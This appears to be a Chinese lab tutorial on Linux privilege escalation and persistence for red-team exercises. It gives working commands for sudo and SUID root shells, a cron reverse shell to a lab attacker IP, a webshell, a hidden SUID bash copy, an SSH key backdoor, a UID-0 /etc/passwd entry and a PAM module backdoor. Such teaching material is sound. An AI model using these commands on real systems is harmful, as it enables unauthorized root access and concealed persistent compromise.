【网络安全】护网系列-权限维持-Linux权限提升&维持

简介: 【网络安全】护网系列-权限维持-Linux权限提升&维持

六、权限维持和应急排查

需要用两台虚拟机,kali和CentOS

1.Linux权限提升

权限提升(Privilege Escalation)

linux只有两种用户

普通用户

root用户

需要进一步获取root权限

实现提权的方法

操作系统内核的漏洞
操作系统设置不当提权
第三方服务存在漏洞的提权

会造成提权的漏洞如下

1.1 内核漏洞

内核:Linux操作系统管理核心功能的程序(管理网络、文件)

发行版:对内核做一定变动,本质一样

(1)内核与发行版

Linux内核版本 
https://www.kernel.org/ 

CVE内核漏洞有哪些
https://www.cvedetails.com/product/47/Linux-Linux- Kernel.html?vendor_id=33

内核的漏洞

image-20230718225242783.png

(2)内核漏洞

脏牛漏洞COW,2007年出现,2016年被发现

Dirty COW(Copy On Write)(CVE-2016-5195)(作业中有靶机) 
Dirty Pipe(CVE-2022-0847) 
Dirty Cred(CVE-2022-2588) 
Linux Polkit(CVE-2021-4034)

从普通用户提权到root非常重要的一个渠道

比如在CentOS操作系统上输入

uname -a

查看内核版本

image-20230718225822014.png

有了这些信息,再去漏洞数据库中查找

image-20230718230030109.png

想要找到这些漏洞文件,打开kali

image-20230718230133706.png

1.2 SUDO提权

SUDO 授权某些普通用户可以用root的身份去执行某些程序

Linux中很多普通用户,没有修改配置文件,重启系统的权限

image-20230718230409500.png

如果普通用户想要获得权限,root用户可以修改配置文件中SUDO的权限,

给它赋权

让普通用户也能以root身份运行程序(一些root命令)

Linux操作系统中的命令也是一种程序

必须在root用户中用命令来编写

visudo

比如

wuya ALL=(root)NOPASSWD:/bin/chown,/usr/sbin/useradd

wuya这个用户可以在所有主机上,都可以用root的身份,

并且不需要再次确认密码

就可以执行“修改文件所有者”的命令

和“添加用户”的命令

1.2.1 找到程序位置

我们先来找下该程序

whereis useradd

看到添加用户的程序在这个地方

/usr/sbin/useradd

image-20230718231307806.png

先添加一个普通用户

1.2.2 添加组别

groupadd security

image-20230718231556009.png

1.2.3 添加普通用户

useradd -g security wuya

给用户设置一个初始密码

passwd wuya

image-20230718231809124.png

切换到wuya用户

su wuya

添加用户

useradd test

提示不允许,是root权限

image-20230718232135976.png

1.2.4 添加权限

切换到root用户

编辑

visudo

image-20230718232255101.png

找到root位置,添加提权命令

wuya ALL=(root)NOPASSWD:/bin/chown,/usr/sbin/useradd

image-20230718232448058.png

或者可以给它添加所有权限

给wuya用户的所有主机授予所有权限

wuya ALL=(ALL:ALL) ALL

image-20230718232735531.png

然后在wuya用户下输入

sudo useradd test

成功

image-20230718232903010.png

1.2.5 提权流程

假如黑客拿到普通用户的权限

先输入

sudo -l

发现当前用户可以在所有主机做所有事

image-20230718233133829.png

目前假设普通用户只有使用find命令的权限

作为黑客可以

在用root身份查找文件后,并且用root身份运行bash程序

sudo find /home -exec /bin/bash \;

image-20230718233603245.png

当你输入

sudo -l

发现有以下任何一个命令的权限时

相关命令:
wget、find、cat、apt、zip、xxd、time、taskset、git、sed、pip、ed、tmux、scp、
perl、bash、less、awk、man、vi、env、ftp

就可以通过一个命令直接提权

提权方式:
sudo awk 'BEGIN{system("/bin/bash")}' 
sudo find /home -exec /bin/bash \

1.3 SUID提权

SUID = Set UID (以程序所有者身份运行程序

SUID授权以文件为主体**

SUDO授权以用户为主体

例如:普通用户怎么修改/etc/shadow中的密码?

ll /usr/bin/passwd

用root权限给find加一个修改权限

chmod u+s /usr/bin/find

普通用户在执行命令时,调用root身份,可以查看身份

find 1.txt -exec whoami \;

普通用户

find 1.txt -exec '/bin/sh' -p \;

linux中利用suid中的find进行root提权遇到的坑

https://blog.csdn.net/rlenew/article/details/111873682

1.3.1 提权排查

常见的SUID提权文件:

nmap、vim、find、more、less、bash、cp、nano、mv、awk、man、 weget

搜索有S权限的程序(不同平台):

 find / -perm -u=s -type f 2>/dev/null

 find / -user root -perm -4000 -print 2>/dev/null

 find / -user root -perm -4000 -exec ls -ldb {} \

2. Linux权限维持

提权并不是永久的

当第一次拿到权限后,防止root用户删掉

防止杀毒、杀进程、关端口、打补丁等操作

2.1 webshell后门

利用webshell维持权限

各种编程语言的木马(后门)

shell.php 
dama.php
hack.war

如果管理员没有做系统清理,残留下这个PHP,就可以被黑客控制

将dama.php放到网站根目录下,打开小皮,开启环境,打开浏览器访问

http://localhost/dama.php

密码

yyds

进入系统,利用木马可以查看操作系统信息,操作数据库,提权

image-20230719221520316.png

2.2 定时任务后门

特点:定时执行,循环执行(容易被黑客利用)

crontab -u root -r 删除定时任务

image-20230719221743496.png

crontab -u root -l 查看
crontab -u root -e 修改

Kali监听7777端口

nc -lvvp 7777

CentOS写入任务(反弹连接)

通过bash的程序主动连接到攻击者的IP和端口

攻击者可以把自己的命令反弹到目标机

并且攻击者可以看到命令执行结果

把它写入

 * * * * * bash -i >& /dev/tcp/192.168.142.132/7777 0>&

只要有写任务的权限,就可以在定时任务中写入一个反弹连接的值

2.3 SUID后面

在提权成功后进行的操作

root用户执行:

先去复制一个hack程序

cp /bin/bash /var/.hack

添加s权限,拥有bash的程序

chmod 4775 /var/.hack

查看权限是否修改成功

ls -al /var/.hack

image-20230719222528388.png

切换到普通用户执行,观察是否维持权限

 /var/.hack -p

image-20230719222658932.png

2.4 SSHKey后门(免密登录)

2.4.1 原理

正常登录需要输入密码,但是该方式不需要输入密码

它第一次登录生成一个公私钥对,把公钥放在服务器上,意味着它可以正常解密加密内容,

2.4.2 生成和查看(kali执行)

ssh-keygen -t rsa

image-20230719223039436.png

进入root文件夹下

cd /root/.ssh

image-20230719223151356.png

2.4.3 查看公钥内容

cat id_rsa.pub

image-20230719223226979.png

只要把公钥放到受害者服务器(authorized_keys )中,以后就可以直接连接服务器

2.4.4 写入(CentOS执行):

 cd /root/.ssh

 vim authorized_keys

image-20230719223454867.png

连接(Kali执行):

正常情况是需要输入密码的

ssh root@192.168.142.44

image-20230719223627562.png

连接成功

2.5 添加用户

2.5.1 生成密码:

openssl passwd -1 -salt admin 123456
-1 的意思是使用md5crypt加密算法 

-salt 指定盐为admin 

123456 明文密码

image-20230719224120610.png

2.5.2 追加(UID=0)

将刚刚生成的密码追加到文件中去

 echo'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /etc/passwd

只要用户登录上,就是root权限

2.5.3 连接(Kali执行)

ssh root@192.168.142.44

用admin用户登录,登录成功变成root

image-20230719224353004.png

2.6 PAM后门

在系统认证中有一个pam_unix.so 模块,是用来做认证授权的

参考资料:

https://blog.csdn.net/weixin_40412037/article/details/118728788

下载编译

rpm -qa|grep pam 

wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz 

tar -zxvf Linux-PAM-1.1.8.tar.gz 

yum install gcc flex flex-devel -y 

cd Linux-PAM-1.1.8 

vim modules/pam_unix/pam_unix_auth.c 

./configure

make

备份替换

cp /usr/lib64/security/pam_unix.so /usr/lib64/security/pam_unix.so.bakcp 

cp modules/pam_unix/.libs/pam_unix.so /usr/lib64/security/pam_unix.so

登录测试

ssh root@192.168.142.44
目录
相关文章
|
4月前
|
安全 网络协议 Linux
Linux网络应用层协议展示:HTTP与HTTPS
此外,必须注意,从HTTP迁移到HTTPS是一项重要且必要的任务,因为这不仅关乎用户信息的安全,也有利于你的网站评级和粉丝的信心。在网络世界中,信息的安全就是一切,选择HTTPS,让您的网站更加安全,使您的用户满意,也使您感到满意。
120 18
|
4月前
|
Linux 数据安全/隐私保护
使用Linux命令行接入无线网络Wi-Fi的示例。
现在,你已经使用命令行成功地连接到 Wi-Fi 网络了。这两个示例涵盖了用 `nmcli` 和 `wpa_supplicant` 连接无线网络的常见场景,让你能够不依赖图形化界面来完成这个任务。在日常使用中熟练掌握这些基本操作能增强你对 Linux 系统的理解,帮助你更有效地处理各种问题。
141 12
|
4月前
|
Linux Shell 数据安全/隐私保护
Centos或Linux编写一键式Shell脚本创建用户、组、目录分配权限指导手册
Centos或Linux编写一键式Shell脚本创建用户、组、目录分配权限指导手册
242 3
|
4月前
|
Kubernetes 数据安全/隐私保护 容器
K8s中Flannel网络插件安装提示forbidden无权限的解决方法
总的来说,解决“forbidden无权限”的问题,需要从权限和配置两个方面来考虑。只有当用户或者服务账户有足够的权限,且Flannel的配置文件设置正确,才能成功地安装Flannel。希望这个解答能够帮助你解决问题。
181 13
|
4月前
|
安全 Ubuntu Linux
Nipper 3.8.0 for Windows & Linux - 网络设备漏洞评估
Nipper 3.8.0 for Windows & Linux - 网络设备漏洞评估
131 0
Nipper 3.8.0 for Windows & Linux - 网络设备漏洞评估
|
6月前
|
Ubuntu Linux
Linux系统管理:服务器时间与网络时间同步技巧。
以上就是在Linux服务器上设置时间同步的方式。然而,要正确运用这些知识,需要理解其背后的工作原理:服务器根据网络中的其他机器的时间进行校对,逐步地精确自己的系统时间,就像一只犹豫不决的啮齿动物,通过观察其他啮齿动物的行为,逐渐确定自己的行为逻辑,既简单,又有趣。最后希望这个过程既能给你带来乐趣,也能提高你作为系统管理员的专业素养。
983 20
|
6月前
|
JSON 运维 Ubuntu
Linux下如何使用Curl进行网络请求
希望这篇文章能帮助您在Linux下更好地使用Curl进行网络请求。如有疑问,请随时提问!
293 10
|
7月前
|
安全 Unix Linux
【Linux权限】—— 于虚拟殿堂,轻拨密钥启华章
25000多字详细讲解,深度剖析权限管理核心。从基础权限到复杂的特殊权限,逐一拆解,无论你是零基础小白还是经验丰富的运维人员,都能在这里找到提升技能的关键知识,全面掌握 Linux 权限管理。还不快来看看?
【Linux权限】—— 于虚拟殿堂,轻拨密钥启华章
|
6月前
|
安全 Linux 数据安全/隐私保护
【Linux】深入理解linux权限
本文深入解析Linux权限管理机制,涵盖权限概念、用户角色、文件属性及操作方法。文章分为前言、权限介绍、用户与角色、文件属性、权限修改及常见问题六大板块。详细说明了权限类型(r/w/x)、角色优先级、chmod/chown指令用法,以及目录权限、umask掩码、粘滞位等重点内容。掌握这些知识,可有效提升Linux系统安全性和灵活性,是管理员必备技能。喜欢的话别忘了点赞支持哦! ❤❤❤
300 6
|
7月前
|
安全 Linux 数据安全/隐私保护
Linux权限揭秘“Root与Sudo”
Root用户是Linux系统中的超级用户,拥有对系统的完全控制权。Root用户几乎可以执行任何命令,修改任何文件,甚至删除系统上的所有内容。因此,Root用户的使用需要非常谨慎,以避免潜在的安全风险。
268 6